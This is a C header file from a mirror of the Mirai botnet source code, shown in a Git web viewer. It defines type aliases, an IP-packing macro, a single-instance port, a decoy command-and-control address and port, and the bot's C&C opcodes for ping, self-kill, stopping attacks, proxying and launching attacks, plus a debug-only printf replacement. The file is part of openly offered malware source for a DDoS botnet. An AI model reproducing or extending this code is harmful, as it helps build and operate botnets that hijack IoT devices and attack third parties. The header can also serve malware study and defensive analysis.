mirror of
				https://github.com/jgamblin/Mirai-Source-Code
				synced 2025-10-31 07:32:59 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			134 lines
		
	
	
		
			2.9 KiB
		
	
	
	
		
			C
		
	
	
		
			Executable File
		
	
	
	
	
			
		
		
	
	
			134 lines
		
	
	
		
			2.9 KiB
		
	
	
	
		
			C
		
	
	
		
			Executable File
		
	
	
	
	
| #pragma once
 | |
| 
 | |
| #include <unistd.h>
 | |
| #include <stdint.h>
 | |
| #include <stdarg.h>
 | |
| 
 | |
| #define STDIN   0
 | |
| #define STDOUT  1
 | |
| #define STDERR  2
 | |
| 
 | |
| #define FALSE   0
 | |
| #define TRUE    1
 | |
| typedef char BOOL;
 | |
| 
 | |
| typedef uint32_t ipv4_t;
 | |
| typedef uint16_t port_t;
 | |
| 
 | |
| #define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
 | |
| 
 | |
| #define SINGLE_INSTANCE_PORT 48101
 | |
| 
 | |
| #define FAKE_CNC_ADDR   INET_ADDR(65,222,202,53)
 | |
| #define FAKE_CNC_PORT   80
 | |
| 
 | |
| #define CNC_OP_PING         0x00
 | |
| #define CNC_OP_KILLSELF     0x10
 | |
| #define CNC_OP_KILLATTKS    0x20
 | |
| #define CNC_OP_PROXY        0x30
 | |
| #define CNC_OP_ATTACK       0x40
 | |
| 
 | |
| ipv4_t LOCAL_ADDR;
 | |
| 
 | |
| #ifdef DEBUG
 | |
| static char *outptr;
 | |
| static void xputc(char c)
 | |
| {
 | |
| 	if (outptr) {
 | |
| 		*outptr++ = (unsigned char)c;
 | |
| 		return;
 | |
| 	} else {
 | |
| 		write(0, &c, 1);
 | |
| 	}
 | |
| }
 | |
| 
 | |
| static void xputs(const char *str)
 | |
| {
 | |
| 	while (*str)
 | |
| 		xputc(*str++);
 | |
| }
 | |
| 
 | |
| static void xvprintf(const char *fmt, va_list arp)
 | |
| {
 | |
| 	unsigned int r, i, j, w, f;
 | |
| 	unsigned long v;
 | |
| 	char s[16], c, d, *p;
 | |
| 	for (;;) {
 | |
| 		c = *fmt++;					/* Get a char */
 | |
| 		if (!c) break;				/* End of format? */
 | |
| 		if (c != '%') {				/* Pass through it if not a % sequense */
 | |
| 			xputc(c); continue;
 | |
| 		}
 | |
| 		f = 0;
 | |
| 		c = *fmt++;					/* Get first char of the sequense */
 | |
| 		if (c == '0') {				/* Flag: '0' padded */
 | |
| 			f = 1; c = *fmt++;
 | |
| 		} else {
 | |
| 			if (c == '-') {			/* Flag: left justified */
 | |
| 				f = 2; c = *fmt++;
 | |
| 			}
 | |
| 		}
 | |
| 		for (w = 0; c >= '0' && c <= '9'; c = *fmt++)	/* Minimum width */
 | |
| 			w = w * 10 + c - '0';
 | |
| 		if (c == 'l' || c == 'L') {	/* Prefix: Size is long int */
 | |
| 			f |= 4; c = *fmt++;
 | |
| 		}
 | |
| 		if (!c) break;				/* End of format? */
 | |
| 		d = c;
 | |
| 		//toupper
 | |
| 		if (d >= 'a') d -= 0x20;
 | |
| 		switch (d) {				/* Type is... */
 | |
| 		case 'S' :					/* String */
 | |
| 			p = va_arg(arp, char*);
 | |
| 			for (j = 0; p[j]; j++) ;
 | |
| 			while (!(f & 2) && j++ < w) xputc(' ');
 | |
| 			xputs(p);
 | |
| 			while (j++ < w) xputc(' ');
 | |
| 			continue;
 | |
| 		case 'C' :					/* Character */
 | |
| 			xputc((char)va_arg(arp, int)); continue;
 | |
| 		case 'B' :					/* Binary */
 | |
| 			r = 2; break;
 | |
| 		case 'O' :					/* Octal */
 | |
| 			r = 8; break;
 | |
| 		case 'D' :					/* Signed decimal */
 | |
| 		case 'U' :					/* Unsigned decimal */
 | |
| 			r = 10; break;
 | |
| 		case 'X' :					/* Hexdecimal */
 | |
| 			r = 16; break;
 | |
| 		default:					/* Unknown type (passthrough) */
 | |
| 			xputc(c); continue;
 | |
| 		}
 | |
| 
 | |
| 		/* Get an argument and put it in numeral */
 | |
| 		v = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int));
 | |
| 		if (d == 'D' && (v & 0x80000000)) {
 | |
| 			v = 0 - v;
 | |
| 			f |= 8;
 | |
| 		}
 | |
| 		i = 0;
 | |
| 		do {
 | |
| 			d = (char)(v % r); v /= r;
 | |
| 			if (d > 9) d += (c == 'x') ? 0x27 : 0x07;
 | |
| 			s[i++] = d + '0';
 | |
| 		} while (v && i < sizeof(s));
 | |
| 		if (f & 8) s[i++] = '-';
 | |
| 		j = i; d = (f & 1) ? '0' : ' ';
 | |
| 		while (!(f & 2) && j++ < w) xputc(d);
 | |
| 		do xputc(s[--i]); while(i);
 | |
| 		while (j++ < w) xputc(' ');
 | |
| 	}
 | |
| }
 | |
| 
 | |
| static void xprintf(const char *fmt, ...)
 | |
| {
 | |
| 	va_list arp;
 | |
| 	va_start(arp, fmt);
 | |
| 	xvprintf(fmt, arp);
 | |
| 	va_end(arp);
 | |
| }
 | |
| #define printf xprintf
 | |
| 
 | |
| #endif
 | |
| 
 | 
